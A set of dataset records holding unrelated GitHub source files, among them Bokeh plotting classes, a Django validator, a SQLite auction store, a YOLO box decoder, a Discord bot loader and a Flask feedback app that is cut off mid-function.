title=\"Image\", **kwargs):\n PlotImageBase.__init__(self, output_dir, source=source, title=title, plot_type=\"image\", **kwargs)\n\n def plot(self):\n \"\"\"Plot image.\"\"\"\n self.plots[\"image\"] = self.figure.image(\n x=\"x\",\n y=\"y\",\n dw=\"dw\",\n dh=\"dh\",\n image=\"image\",\n source=self.source,\n palette=self.kwargs[\"palette\"],\n name=\"image\",\n )\n self.plots[\"image\"].glyph.color_mapper = self.kwargs[\"colormapper\"]\n\n def add_colorbar(self):\n \"\"\"Add colorbar.\"\"\"\n color_bar = ColorBar(\n color_mapper=self.kwargs[\"colormapper\"],\n ticker=BasicTicker(),\n location=(0, 0),\n major_label_text_font_size=\"10pt\",\n label_standoff=8,\n )\n self.figure.add_layout(color_bar, \"right\")\n\n def set_options(self):\n \"\"\"Set options.\"\"\"\n if self.kwargs.get(\"add_colorbar\", False):\n self.add_colorbar()\n\n\nclass PlotImageRGBA(PlotImageBase):\n \"\"\"RGB Image class.\"\"\"\n\n def __init__(self, output_dir: str, source: ColumnDataSource, title=\"Image-RGBA\", **kwargs):\n PlotImageBase.__init__(self, output_dir, source=source, title=title, plot_type=\"rgba\", **kwargs)\n\n def plot(self):\n \"\"\"Main plotting method.\"\"\"\n self.plots[\"rgba\"] = self.figure.image_rgba(\n x=\"x\", y=\"y\", dw=\"dw\", dh=\"dh\", image=\"image\", source=self.source, name=\"rgba\"\n )\n\n def check_data_source(self):\n \"\"\"Check data sources.\"\"\"\n PlotImageBase.check_data_source(self)\n if self.source.data[\"image\"][0].dtype != np.uint8:\n raise ValueError(\"ImageRGBA expects 8-bit values\")\n\n def set_hover(self):\n \"\"\"Add hover to the image plot.\"\"\"\n tooltips = [(\"x, y\", \"$x{0.00}, $y{0.00}\")]\n if \"intensity\" in self.source.data:\n tooltips.append((\"intensity\", \"@intensity\"))\n else:\n tooltips.append((\"intensity\", \"@image\"))\n\n if \"r\" in self.source.data:\n tooltips.append((\"(R, G, B A)\", \"@r, @g, @b, @a\"))\n\n self.figure.add_tools(HoverTool(show_arrow=True, tooltips=tooltips))\n","repo_name":"lukasz-migas/plotski","sub_path":"src/plotski/image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":6924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5776660853","text":"from RGT.XML.SVG.Attribs.basicSvgAttribute import BasicSvgAttribute\r\nfrom types import StringType\r\n\r\n\r\nclass ConditionalProcessingAttributes(BasicSvgAttribute):\r\n ATTRIBUTE_REQUIRED_FEATURES = 'requiredFeatures'\r\n ATTRIBUTE_REQUIRED_EXTENSIONS = 'requiredExtensions'\r\n ATTRIBUTE_SYSTEM_LANGUAGE = 'systemLanguage'\r\n\r\n def setRequiredFeatures(self, features):\r\n if features is not None:\r\n if type(features) != StringType:\r\n raise TypeError('extensions must be a string with a list of URLs separated by a space')\r\n self._setNodeAttribute(self.ATTRIBUTE_REQUIRED_FEATURES, features)\r\n\r\n def setRequiredExtension(self, extensions):\r\n if extensions is not None:\r\n if type(extensions) != StringType:\r\n raise TypeError('extensions must be a string with a list of URLs separated by a space')\r\n self._setNodeAttribute(self.ATTRIBUTE_REQUIRED_EXTENSIONS, extensions)\r\n\r\n def setSystemLanguage(self, sysLanguage):\r\n if sysLanguage is not None:\r\n if type(sysLanguage) != StringType:\r\n raise TypeError('extensions must be a string with a list of URLs separated by a comma')\r\n self._setNodeAttribute(self.ATTRIBUTE_SYSTEM_LANGUAGE, sysLanguage)\r\n\r\n\r\n def getRequiredFeatures(self):\r\n featureNode = self._getNodeAttribute(self.ATTRIBUTE_REQUIRED_FEATURES)\r\n if featureNode is not None:\r\n return featureNode.nodeValue\r\n return None\r\n\r\n\r\n def getRequiredExtension(self):\r\n extensionNode = self._getNodeAttribute(self.ATTRIBUTE_REQUIRED_EXTENSIONS)\r\n if extensionNode is not None:\r\n return extensionNode.nodeValue\r\n return None\r\n\r\n def getSystemLanguage(self):\r\n languageNode = self._getNodeAttribute(self.ATTRIBUTE_SYSTEM_LANGUAGE)\r\n if languageNode is not None:\r\n return languageNode.nodeValue\r\n return None\r\n ","repo_name":"danrg/RGT-tool","sub_path":"src/RGT/XML/SVG/Attribs/conditionalProcessingAttributes.py","file_name":"conditionalProcessingAttributes.py","file_ext":"py","file_size_in_byte":1956,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"61"} +{"seq_id":"33917514947","text":"from django.db import models\n# import datetime \nfrom datetime import datetime\n\n\n\n\nclass ShowManager(models.Manager):\n def basic_validator(self, postData):\n errors = {}\n# add keys and values to errors dictionary for each invalid field\n if len(postData['title']) < 2:\n errors[\"title\"] = \"Show title should be at least 2 characters\"\n title_validate_unique=Show.objects.filter(title=postData['title'])\n if len(title_validate_unique)> 0:\n errors['title_unique'] = \"Show already exists!\"\n if len(postData['network']) < 3:\n errors[\"network\"] = \"Show network should be at least 3 characters\"\n if len(postData['desc']) < 10:\n errors[\"desc\"] = \"Show description should be at least 10 characters\"\n releasedate = datetime.strptime(postData[\"date\"], \"%Y-%m-%d\")\n if releasedate > datetime.now():\n errors[\"date\"]=\"Release date should be in the past\"\n return errors\n \n \n \n \nclass Show(models.Model):\n title = models.CharField(max_length=255)\n network = models.CharField(max_length=255)\n desc=models.TextField()\n release_date = models.DateTimeField()\n created_at = models.DateTimeField(auto_now_add=True)\n updated_at = models.DateTimeField(auto_now=True)\n objects = ShowManager()\n","repo_name":"Shtaiwee1/Python","sub_path":"Django/django_full_stack/semi_rest_TV_shows/TV_shows_app/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18795620633","text":"import sqlite3\nfrom reagent import Reagent\n\n\nclass Store:\n def __init__(self, database):\n self.database = database\n self.conn = sqlite3.connect(self.database)\n self.__auctions = AuctionsTable(self)\n self.__downloads = DownloadsTable(self)\n self.__recipes = RecipesTable(self)\n self.__reagents = ReagentsTable(self)\n self.__quantities = QuantitiesTable(self)\n self.__credentials = CredentialsTable(self)\n self.__cache = CacheTable(self)\n self.__initialize()\n\n def __enter__(self):\n return self\n\n def __exit__(self, type, value, traceback):\n self.conn.close()\n\n def __initialize(self):\n self.__auctions.create_if_exists()\n self.__downloads.create_if_exists()\n self.__recipes.create_if_exists()\n self.__reagents.create_if_exists()\n self.__quantities.create_if_exists()\n self.__credentials.create_if_exists()\n self.__cache.create_if_exists()\n\n def add_auctions(self, listings, datetime):\n self.__auctions.insert(listings)\n self.__downloads.insert(datetime)\n\n def get_last_download(self):\n cur = self.conn.execute(\n 'SELECT datetime FROM downloads ORDER BY datetime DESC LIMIT 1')\n datetime = cur.fetchone()\n return datetime[0] if datetime is not None else None\n\n def get_reagents_price(self, recipe_id):\n datetime = self.get_last_download()\n if datetime is None:\n print('download from auction house first before searching.')\n return None\n cur = self.conn.execute('''\n SELECT q.item_id, r.name, r.craftable, q.quantity, a.price\n FROM quantities q\n INNER JOIN reagents r\n ON q.item_id = r.item_id\n AND recipe_id = ?\n INNER JOIN (\n SELECT * FROM auctions\n WHERE datetime = ?\n ) a ON q.item_id = a.item_id\n ''', (recipe_id, datetime))\n return cur.fetchall()\n\n def get_price(self, item_id):\n datetime = self.get_last_download()\n if datetime is None:\n print('download from auction house first before searching.')\n return None\n cur = self.conn.execute('''\n SELECT price\n FROM auctions\n WHERE item_id = ? and datetime = ?\n ''', (item_id, datetime))\n return cur.fetchone()\n\n def get_price_by_name(self, item_name):\n cur = self.conn.execute('''\n SELECT item_id\n FROM reagents\n WHERE name = ?\n ''', (item_name,))\n item_id = cur.fetchone()\n if item_id is None:\n return None\n return self.get_price(item_id[0])\n\n def get_price_history(self, item_name):\n cur = self.conn.execute('''\n SELECT item_id\n FROM reagents\n WHERE name = ?\n ''', (item_name,))\n item_id = cur.fetchone()\n if item_id is None:\n return None\n cur = self.conn.execute('''\n SELECT *\n FROM auctions\n WHERE item_id = ?\n ''', (item_id[0],))\n return cur.fetchall()\n\n def add_recipes(self, recipes):\n self.__recipes.insert(recipes)\n for recipe in recipes:\n self.__reagents.upsert(recipe.item_id, recipe.item_name, 1)\n self.__reagents.insert_list(recipe.reagents)\n self.__quantities.insert(recipe.id, recipe.reagents)\n\n def get_recipe(self, id):\n recipe = None\n cur = self.conn.execute('''\n SELECT r.*, i.name FROM (SELECT *\n FROM recipes\n WHERE item_id = ?) r\n INNER JOIN reagents AS i\n ON r.item_id = i.item_id\n ''', (id,))\n recipe = cur.fetchone()\n if recipe is None:\n cur = self.conn.execute('''\n SELECT r.*, i.name FROM (SELECT *\n FROM recipes\n WHERE name = ?) r\n INNER JOIN reagents AS i\n ON r.item_id = i.item_id\n ''', (id,))\n recipe = cur.fetchone()\n return recipe\n\n def get_recipe_count(self, profession, skill_tier):\n cur = self.conn.execute(\n 'SELECT COUNT(*) FROM recipes WHERE profession = ? AND skilltier = ?', (profession, skill_tier))\n return cur.fetchone()[0]\n\n def get_all_reagent_ids(self):\n cur = self.conn.execute('SELECT item_id FROM reagents')\n return [i[0] for i in cur.fetchall()]\n\n def get_all_reagents(self):\n cur = self.conn.execute('SELECT * FROM reagents')\n return cur.fetchall()\n\n def get_credentials(self):\n return self.__credentials.get()\n\n def add_or_replace_credentials(self, client_id, client_secret, datetime):\n creds = self.__credentials.get()\n if creds is not None:\n self.__credentials.clear()\n self.__credentials.insert(client_id, client_secret, datetime)\n\n def clear_credentials(self):\n self.__credentials.clear()\n\n def get_cache(self):\n return self.__cache.get()\n\n def update_cache(self, realm_name):\n self.__cache.update(realm_name)\n\n\nclass Table:\n def __init__(self, store):\n self.store = store\n\n def create_if_exists(self):\n pass\n\n\nclass AuctionsTable(Table):\n def create_if_exists(self):\n self.store.conn.execute('''\n CREATE TABLE IF NOT EXISTS auctions\n (\n item_id TEXT NOT NULL,\n price INTEGER NOT NULL,\n quantity INTEGER NOT NULL,\n datetime TEXT NOT NULL\n )\n ''')\n self.store.conn.commit()\n\n def insert(self, auctions):\n auctions_insert = [(a.id, a.price, a.quantity, a.datetime)\n for a in auctions]\n self.store.conn.executemany(\n 'INSERT INTO auctions VALUES (?, ?, ?, ?)', auctions_insert)\n self.store.conn.commit()\n\n\nclass DownloadsTable(Table):\n def create_if_exists(self):\n self.store.conn.execute('''\n CREATE TABLE IF NOT EXISTS downloads\n (\n datetime TEXT NOT NULL\n )\n ''')\n self.store.conn.commit()\n\n def insert(self, datetime):\n self.store.conn.execute(\n 'INSERT INTO downloads VALUES (?)', (datetime,))\n self.store.conn.commit()\n\n\nclass RecipesTable(Table):\n def create_if_exists(self):\n self.store.conn.execute('''\n CREATE TABLE IF NOT EXISTS recipes\n (\n recipe_id INTEGER NOT NULL PRIMARY KEY,\n profession INTEGER NOT NULL,\n skilltier INTEGER NOT NULL,\n name TEXT NOT NULL,\n item_id TEXT NOT NULL,\n crafted_quantity INTEGER NOT NULL\n )\n ''')\n self.store.conn.commit()\n\n def insert(self, recipes):\n recipes_insert = [(r.id, r.profession, r.skill_tier, r.name,\n r.item_id, r.crafted_quantity) for r in recipes]\n self.store.conn.executemany(\n 'INSERT INTO recipes VALUES (?, ?, ?, ?, ?, ?)', recipes_insert)\n self.store.conn.commit()\n\n\nclass ReagentsTable(Table):\n def create_if_exists(self):\n self.store.conn.execute('''\n CREATE TABLE IF NOT EXISTS reagents\n (\n item_id TEXT NOT NULL PRIMARY KEY,\n name TEXT NOT NULL,\n craftable INTEGER NOT NULL\n )\n ''')\n self.store.conn.commit()\n\n def upsert(self, item_id, name, craftable):\n self.store.conn.execute('''\n INSERT INTO reagents\n VALUES (?, ?, ?)\n ON CONFLICT (item_id)\n DO UPDATE SET craftable = ?\n ''', (item_id, name, craftable, craftable))\n self.store.conn.commit()\n\n def insert_list(self, items):\n items_insert = [(i.id, i.name, 0) for i in items]\n self.store.conn.executemany(\n 'INSERT OR IGNORE INTO reagents VALUES (?, ?, ?)', items_insert)\n self.store.conn.commit()\n\n\nclass QuantitiesTable(Table):\n def create_if_exists(self):\n self.store.conn.execute('''\n CREATE TABLE IF NOT EXISTS quantities\n (\n item_id TEXT NOT NULL,\n recipe_id INTEGER NOT NULL,\n quantity INTEGER NOT NULL\n )\n ''')\n self.store.conn.commit()\n\n def get(self, recipe_id):\n cur = self.store.conn.execute(\n 'SELECT * FROM quantities WHERE recipe_id = ?', recipe_id)\n return cur.fetchall()\n\n def insert(self, recipe_id, items):\n quantities_insert = [(i.id, recipe_id, i.quantity) for i in items]\n self.store.conn.executemany(\n 'INSERT OR IGNORE INTO quantities VALUES (?, ?, ?)', quantities_insert)\n self.store.conn.commit()\n\n\nclass CredentialsTable(Table):\n def create_if_exists(self):\n self.store.conn.execute('''\n CREATE TABLE IF NOT EXISTS credentials\n (\n client_id TEXT NOT NULL,\n client_secret TEXT NOT NULL,\n datetime TEXT NOT NULL\n )\n ''')\n self.store.conn.commit()\n\n def get(self):\n cur = self.store.conn.execute('SELECT * FROM credentials')\n return cur.fetchone()\n\n def insert(self, client_id, client_secret, datetime):\n self.store.conn.execute(\n 'INSERT INTO credentials VALUES (?, ?, ?)', (client_id, client_secret, datetime))\n self.store.conn.commit()\n\n def clear(self):\n self.store.conn.execute('DELETE FROM credentials')\n self.store.conn.commit()\n\n\nclass CacheTable(Table):\n def create_if_exists(self):\n self.store.conn.execute('''\n CREATE TABLE IF NOT EXISTS cache\n (\n realm_name INTEGER NOT NULL\n )\n ''')\n self.store.conn.commit()\n\n def get(self):\n cur = self.store.conn.execute('SELECT * FROM cache')\n return cur.fetchone()\n\n def update(self, realm_name):\n self.store.conn.execute('DELETE FROM cache')\n self.store.conn.execute('INSERT INTO cache VALUES (?)', (realm_name,))\n self.store.conn.commit()\n","repo_name":"DevinCarr/eternal-auction","sub_path":"store.py","file_name":"store.py","file_ext":"py","file_size_in_byte":10086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13351547594","text":"import sys\nsys.path.insert(1,\"../../\")\nfrom tests import pyunit_utils\n\ndef orc_parser_baddata():\n \"\"\"\n This test is used to verify if the orc parser warnings from backend is passed down to python client\n when parsing orc files with unsupported data types or bad data value.\n\n :return: None or a fit if no warning is captured\n \"\"\"\n fileWithPath = \"smalldata/parser/orc/TestOrcFile.testStringAndBinaryStatistics.orc\"\n assert pyunit_utils.expect_warnings(fileWithPath, \"UserWarning:\", \"Skipping field:\", 1), \\\n \"Expect warnings from orc parser for file \"+fileWithPath+\"!\"\n\n fileWithPath = \"smalldata/parser/orc/TestOrcFile.emptyFile.orc\"\n assert pyunit_utils.expect_warnings(fileWithPath, \"UserWarning:\", \"Skipping field:\", 4), \\\n \"Expect warnings from orc parser for file \"+fileWithPath+\"!\"\n\n fileWithPath = \"smalldata/parser/orc/nulls-at-end-snappy.orc\"\n assert pyunit_utils.expect_warnings(fileWithPath, \"UserWarning:\", \"Long.MIN_VALUE:\", 1), \\\n \"Expect warnings from orc parser for file \"+fileWithPath+\"!\"\n\nif __name__ == \"__main__\":\n pyunit_utils.standalone_test(orc_parser_baddata)\nelse:\n orc_parser_baddata()\n","repo_name":"h2oai/h2o-3","sub_path":"h2o-py/tests/testdir_parser/pyunit_NOFEATURE_orc_parser_baddata.py","file_name":"pyunit_NOFEATURE_orc_parser_baddata.py","file_ext":"py","file_size_in_byte":1173,"program_lang":"python","lang":"en","doc_type":"code","stars":6553,"dataset":"github-code","pt":"61"} +{"seq_id":"31251792134","text":"import time\nimport gevent\nfrom gevent.event import Event\n\n\ndef check_if_string_in_file(file_name, string_to_search):\n with open(file_name, 'r') as read_obj:\n for line in read_obj:\n if string_to_search in line:\n return True\n return False\n\n\ndef reader(file_name, string_to_search):\n try:\n check_if_string_in_file(file_name, string_to_search)\n except FileNotFoundError:\n print('no file - function is asleep')\n time.sleep(5)\n return False\n else:\n event.set()\n print('The word was found')\n return True\n\n\ndef deleter(file_name):\n event.wait()\n del file_name\n print('File deleted')\n\n\nwhile True:\n event = Event()\n\n name = str(input('Enter file name: '))\n if not reader(name, \"Wow!\"):\n continue\n deleter(name)\n","repo_name":"MikeKorotkov/python_course_2","sub_path":"itvdn_lesson3_task2_read.py","file_name":"itvdn_lesson3_task2_read.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5119410599","text":"import discord\r\nfrom discord.ext import commands\r\nimport asyncio\r\nimport json\r\n\r\nintents = discord.Intents.all()\r\nintents.members = True\r\n\r\nwith open('config.json') as json_file:\r\n data = json.load(json_file)\r\n for t in data['config']:\r\n client = commands.Bot(command_prefix = t['PREFIX'], intents=intents)\r\n\r\nclient.remove_command(\"help\")\r\n\r\n@client.event\r\nasync def on_ready():\r\n print(\"Bot connected\")\r\n await client.load_extension(f\"cogs.user\")\r\n await client.load_extension(f\"cogs.admin_com\")\r\n\r\n@client.event\r\nasync def on_command_error(ctx, error):\r\n if isinstance(error, commands.errors.MissingRequiredArgument):\r\n title_error_two = 'Введенная вами команда не существует'\r\n desc_error_two = 'Используйте **-help**, чтобы просмотреть список доступных команд'\r\n embed_var_two = discord.Embed(title=title_error_two,\r\n description=desc_error_two,\r\n color=0xFF0000)\r\n await ctx.reply(embed=embed_var_two)\r\n\r\n@client.command()\r\n@commands.is_owner()\r\nasync def load(ctx, extension):\r\n await client.load_extension(f\"cogs.{extension}\")\r\n await ctx.send(\"Загрузка cogs\")\r\n\r\n@commands.is_owner()\r\n@client.command()\r\nasync def unload(ctx, extension):\r\n await client.unload_extension(f\"cogs.{extension}\")\r\n await ctx.send(\"Удаление кога\")\r\n\r\n@client.command()\r\n@commands.is_owner()\r\nasync def reload(ctx, extension):\r\n await client.unload_extension(f\"cogs.{extension}\")\r\n await client.load_extension(f\"cogs.{extension}\")\r\n await ctx.send(\"Перезагрузка cogs\")\r\n\r\ndef main():\r\n client.run(t['TOKEN'])\r\n\r\nif __name__ == \"__main__\":\r\n loop = asyncio.get_event_loop()\r\n loop.run_until_complete(main())\r\n","repo_name":"MaestroPepe/SandwichCommunityBot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73255307393","text":"\"\"\" https://github.com/tztztztztz/yolov2.pytorch \"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport torch\nfrom utils.bbox import generate_all_anchors, xywh2xxyy, box_transform_inv, xxyy2xywh, box_ious\nfrom config import Config as cfg\n\n\ndef filter_boxes(boxes_pred, conf_pred, confidence_threshold=0.6):\n \"\"\"\n Filter boxes whose confidence is lower than a given threshold\n\n Arguments:\n boxes_pred -- tensor of shape (H * W * num_anchors, 4) (x1, y1, x2, y2) predicted boxes\n conf_pred -- tensor of shape (H * W * num_anchors, 1)\n threshold -- float, threshold used to filter boxes\n\n Returns:\n filtered_boxes -- tensor of shape (num_positive, 4)\n filtered_conf -- tensor of shape (num_positive, 1)\n \"\"\"\n pos_inds = (conf_pred > confidence_threshold).view(-1)\n\n filtered_boxes = boxes_pred[pos_inds, :]\n\n filtered_conf = conf_pred[pos_inds, :]\n\n return filtered_boxes, filtered_conf\n\n\ndef nms(boxes, scores, threshold):\n \"\"\"\n Apply Non-Maximum-Suppression on boxes according to their scores\n\n Arguments:\n boxes -- tensor of shape (N, 4) (x1, y1, x2, y2)\n scores -- tensor of shape (N) confidence\n threshold -- float. NMS threshold\n\n Returns:\n keep -- tensor of shape (None), index of boxes which should be retain.\n \"\"\"\n\n score_sort_index = torch.sort(scores, dim=0, descending=True)[1]\n\n keep = []\n\n while score_sort_index.numel() > 0:\n\n i = score_sort_index[0]\n keep.append(i)\n\n if score_sort_index.numel() == 1:\n break\n\n cur_box = boxes[score_sort_index[0], :].view(-1, 4)\n res_box = boxes[score_sort_index[1:], :].view(-1, 4)\n\n ious = box_ious(cur_box, res_box).view(-1)\n\n inds = torch.nonzero(ious < threshold).squeeze()\n\n score_sort_index = score_sort_index[inds + 1].view(-1)\n\n return torch.LongTensor(keep)\n\n\ndef generate_prediction_boxes(deltas_pred):\n \"\"\"\n Apply deltas prediction to pre-defined anchors\n\n Arguments:\n deltas_pred -- tensor of shape (H * W * num_anchors, 4) σ(t_x), σ(t_y), σ(t_w), σ(t_h)\n\n Returns:\n boxes_pred -- tensor of shape (H * W * num_anchors, 4) (x1, y1, x2, y2)\n \"\"\"\n\n H = int(cfg.im_w / cfg.strides)\n W = int(cfg.im_h / cfg.strides)\n\n anchors = torch.FloatTensor(cfg.anchors)\n all_anchors_xywh = generate_all_anchors(anchors, H, W) # shape: (H * W * num_anchors, 4), format: (x, y, w, h)\n\n all_anchors_xywh = deltas_pred.new(*all_anchors_xywh.size()).copy_(all_anchors_xywh)\n\n boxes_pred = box_transform_inv(all_anchors_xywh, deltas_pred)\n\n return boxes_pred\n\n\ndef scale_boxes(boxes, im_info):\n \"\"\"\n scale predicted boxes\n\n Arguments:\n boxes -- tensor of shape (N, 4) xxyy format\n im_info -- dictionary {width:, height:}\n\n Returns:\n scaled_boxes -- tensor of shape (N, 4) xxyy format\n\n \"\"\"\n\n h = im_info['height']\n w = im_info['width']\n\n input_h, input_w = cfg.im_h, cfg.im_h\n scale_h, scale_w = input_h / float(h), input_w / float(w)\n\n # scale the boxes\n boxes *= cfg.strides\n\n boxes[:, 0::2] /= scale_w\n boxes[:, 1::2] /= scale_h\n\n boxes = xywh2xxyy(boxes)\n\n # clamp boxes\n boxes[:, 0::2].clamp_(0, w-1)\n boxes[:, 1::2].clamp_(0, h-1)\n\n return boxes\n\n\ndef decode(model_output, im_info, conf_threshold=0.6, nms_threshold=0.4):\n \"\"\"\n Evaluates the model output and generates the final predicted boxes\n\n Arguments:\n model_output -- list of tensors (deltas_pred, conf_pred, classes_pred)\n\n deltas_pred -- tensor of shape (H * W * num_anchors, 4) σ(t_x), σ(t_y), σ(t_w), σ(t_h)\n conf_pred -- tensor of shape (H * W * num_anchors, 1)\n classes_pred -- tensor of shape (H * W * num_anchors, num_classes)\n\n im_info -- dictionary {w:, h:}\n\n threshold -- float, threshold used to filter boxes\n\n\n Returns:\n detections -- tensor of shape (None, 7) (x1, y1, x2, y2, conf)\n \"\"\"\n\n deltas = model_output[0].cpu()\n conf = model_output[1].cpu()\n\n # apply deltas to anchors\n boxes = generate_prediction_boxes(deltas)\n\n # filter boxes on confidence score\n boxes, conf = filter_boxes(boxes, conf, conf_threshold)\n\n # no detection !\n if boxes.size(0) == 0:\n return []\n\n # scale boxes\n boxes = scale_boxes(boxes, im_info)\n\n # apply nms\n keep = nms(boxes, conf.view(-1), nms_threshold)\n boxes_keep = boxes[keep, :]\n conf_keep = conf[keep, :]\n\n #\n seq = [boxes_keep, conf_keep]\n\n return torch.cat(seq, dim=1)\n \"\"\" \n detections = []\n\n # apply NMS classwise\n for cls in range(num_classes):\n cls_mask = cls_max_id == cls\n inds = torch.nonzero(cls_mask).squeeze()\n\n if inds.numel() == 0:\n continue\n\n boxes_pred_class = boxes[inds, :].view(-1, 4)\n conf_pred_class = conf[inds, :].view(-1, 1)\n cls_max_conf_class = cls_max_conf[inds].view(-1, 1)\n\n nms_keep = yolo_nms(boxes_pred_class, conf_pred_class.view(-1), nms_threshold)\n\n boxes_pred_class_keep = boxes_pred_class[nms_keep, :]\n conf_pred_class_keep = conf_pred_class[nms_keep, :]\n cls_max_conf_class_keep = cls_max_conf_class.view(-1, 1)[nms_keep, :]\n\n seq = [boxes_pred_class_keep, conf_pred_class_keep, cls_max_conf_class_keep]\n\n detections_cls = torch.cat(seq, dim=-1)\n detections.append(detections_cls)\n\n return torch.cat(detections, dim=0)\n \"\"\"\n","repo_name":"cjvargasc/JNN_detection","sub_path":"model/decoder.py","file_name":"decoder.py","file_ext":"py","file_size_in_byte":5457,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"31330961521","text":"from numpy import ndarray\r\n\r\ndef main():\r\n print(\"How many elements do you want in the array?\")\r\n numElement = int(input())\r\n a = ndarray((numElement),int)\r\n for i in range(0, numElement):\r\n print(\"what integer do you want at position \" + str(i))\r\n a[i] = int(input())\r\n quickSort(a, 0, len(a)-1)\r\n\r\ndef quickSort(array, low, high):\r\n if(low < high):\r\n p = partition(array, low, high)\r\n quickSort(array, low, p-1)\r\n quickSort(array, p+1, high)\r\n print(array)\r\n\r\ndef partition(array, low, high):\r\n pivot = array[high]\r\n i = low\r\n for j in range(low, high):\r\n if(array[j] < pivot):\r\n array[i], array[j] = array[j], array[i]\r\n i = i + 1\r\n array[i], array[high] = array[high], array[i]\r\n return i\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"abrahim-djordjevic/Python-algorithms","sub_path":"quickSort.py","file_name":"quickSort.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20968605393","text":"from flask import Flask, request, render_template, redirect, jsonify, flash, session\nfrom models import db, connect_db, User, Feedback\nfrom forms import UserForm, LoginForm, FeedbackForm\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'postgresql:///feedbackDB'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\napp.config['SQLALCHEMY_ECHO'] = True\napp.config['SECRET_KEY'] = \"seeeeecret\"\n\napp.app_context().push()\nconnect_db(app)\ndb.create_all()\n\n\n\n# GET /\n# Redirect to /register.\n@app.route('/')\ndef redirect_to_reg():\n return redirect('/register')\n\n# GET /register\n# Show a form that when submitted will register/create a user. This form should accept a username, password, email, first_name, and last_name.\n# POST /register\n# Process the registration form by adding a new user. Then redirect.\n@app.route('/register', methods = ['GET', 'POST'])\ndef get_register_form():\n\n form = UserForm()\n\n if form.validate_on_submit():\n username = form.username.data\n password = form.password.data\n email = form.email.data\n first_name = form.first_name.data.capitalize()\n last_name = form.last_name.data.capitalize()\n\n new_user = User(username=username, password=password, email = email, first_name = first_name, last_name = last_name)\n\n try:\n new_user.register\n except:\n flash(f'Username \"{username}\" is taken.')\n return redirect('/register')\n\n session['user_id'] = new_user.username\n return redirect(f'/users/{new_user.username}')\n \n else:\n\n return render_template('register-form.html', form = form)\n# Make sure you are using WTForms and that your password input hides the characters that the user is typing! \n\n# GET /login\n# Show a form that when submitted will login a user. This form should accept a username and a password.\n# POST /login\n# Process the login form, ensuring the user is authenticated.\n@app.route('/login', methods = ['GET', 'POST'])\ndef get_login_form():\n form = LoginForm()\n if form.validate_on_submit():\n username = form.username.data\n password = form.password.data\n \n try:\n \n\n user = User.query.filter_by(username = username).first()\n if user.authenticate(password):\n session['user_id'] = user.username\n return redirect(f'/users/{user.username}')\n else:\n flash('Incorrect Password.')\n return redirect('/login')\n \n except:\n flash('Username not recognized.')\n return redirect('/login')\n \n \n\n return render_template('login-form.html', form = form)\n\n# Make sure you are using WTForms and that your password input hides the characters that the user is typing!\n\n\n@app.route('/users/')\ndef get_user_page(username):\n if not logged_in:\n flash(f\"You must be logged in to view this page.\")\n return redirect('/login')\n else:\n user = User.query.get_or_404(username)\n return render_template('user-page.html', user = user)\n\n@app.route('/logout')\ndef logout_user():\n session.clear()\n\n return redirect('/')\n\n# POST /users//delete\n# Remove the user from the database and make sure to also delete all of their feedback. Clear any user information in the session and redirect to /. Make sure that only the user who is logged in can successfully delete their account\n\n@app.route('/users//delete', methods = ['POST'])\ndef delete_user(username):\n\n if has_permissions(username):\n User.query.filter_by(username = username).delete()\n db.session.commit()\n\n return redirect('/')\n else:\n flash('You do not have permissions to delete this user.')\n return redirect('/')\n\n\n# GET /users//feedback/add\n# Display a form to add feedback Make sure that only the user who is logged in can see this form\n# POST /users//feedback/add\n# Add a new piece of feedback and redirect to /users/ — Make sure that only the user who is logged in can successfully add feedback\n@app.route('/users//feedback/add', methods = ['GET', 'POST'])\ndef add_feedback(username):\n \n if not has_permissions(username):\n flash(f\"you do not have permissions to post feedback on {username}'s account.\")\n current_user = session['user_id']\n return redirect(f'/users/{current_user}')\n \n else:\n form = FeedbackForm()\n\n if form.validate_on_submit():\n title = form.title.data\n content = form.content.data\n\n feedback = Feedback(title = title, content = content, user_id = username)\n db.session.add(feedback)\n db.session.commit()\n\n return redirect(f'/users/{username}')\n\n else:\n\n return render_template('feedback-form.html', form = form)\n\n\n# GET /feedback//update\n# Display a form to edit feedback — **Make sure that only the user who has written that feedback can see this form **\n# POST /feedback//update\n@app.route('/feedback//update', methods = ['GET', 'POST'])\ndef edit_feedback(feedback_id):\n \n\n feedback = Feedback.query.get_or_404(feedback_id)\n\n if has_permissions(feedback.user_id):\n \n form = FeedbackForm(obj = feedback)\n \n if form.validate_on_submit():\n form.populate_obj(feedback)\n db.session.commit()\n return redirect(f'/users/{feedback.user_id}')\n else:\n return render_template('edit-feedback-form.html', form = form, feedback = feedback)\n else:\n flash('You do not have permissions to edit that form.')\n return redirect('/')\n\n# POST /feedback//delete\n# Delete a specific piece of feedback and redirect to /users/ — Make sure that only the user who has written that feedback can delete it\n@app.route('/feedback//delete', methods = ['POST'])\ndef delete_feedback(feedback_id):\n feedback = Feedback.query.get_or_404(feedback_id)\n\n if has_permissions(feedback.user_id):\n Feedback.query.filter_by(id = feedback_id).delete()\n db.session.commit()\n current_user = session['user_id']\n return redirect(f'/users/{current_user}')\n else:\n flash('You do not have permissions to delete that feedback.')\n return redirect('/')\n\n\n\n\ndef logged_in():\n\n return (True if 'user_id' in session else False)\n \ndef has_permissions(username):\n\n if logged_in() and session['user_id'] == username:\n\n return True\n \n 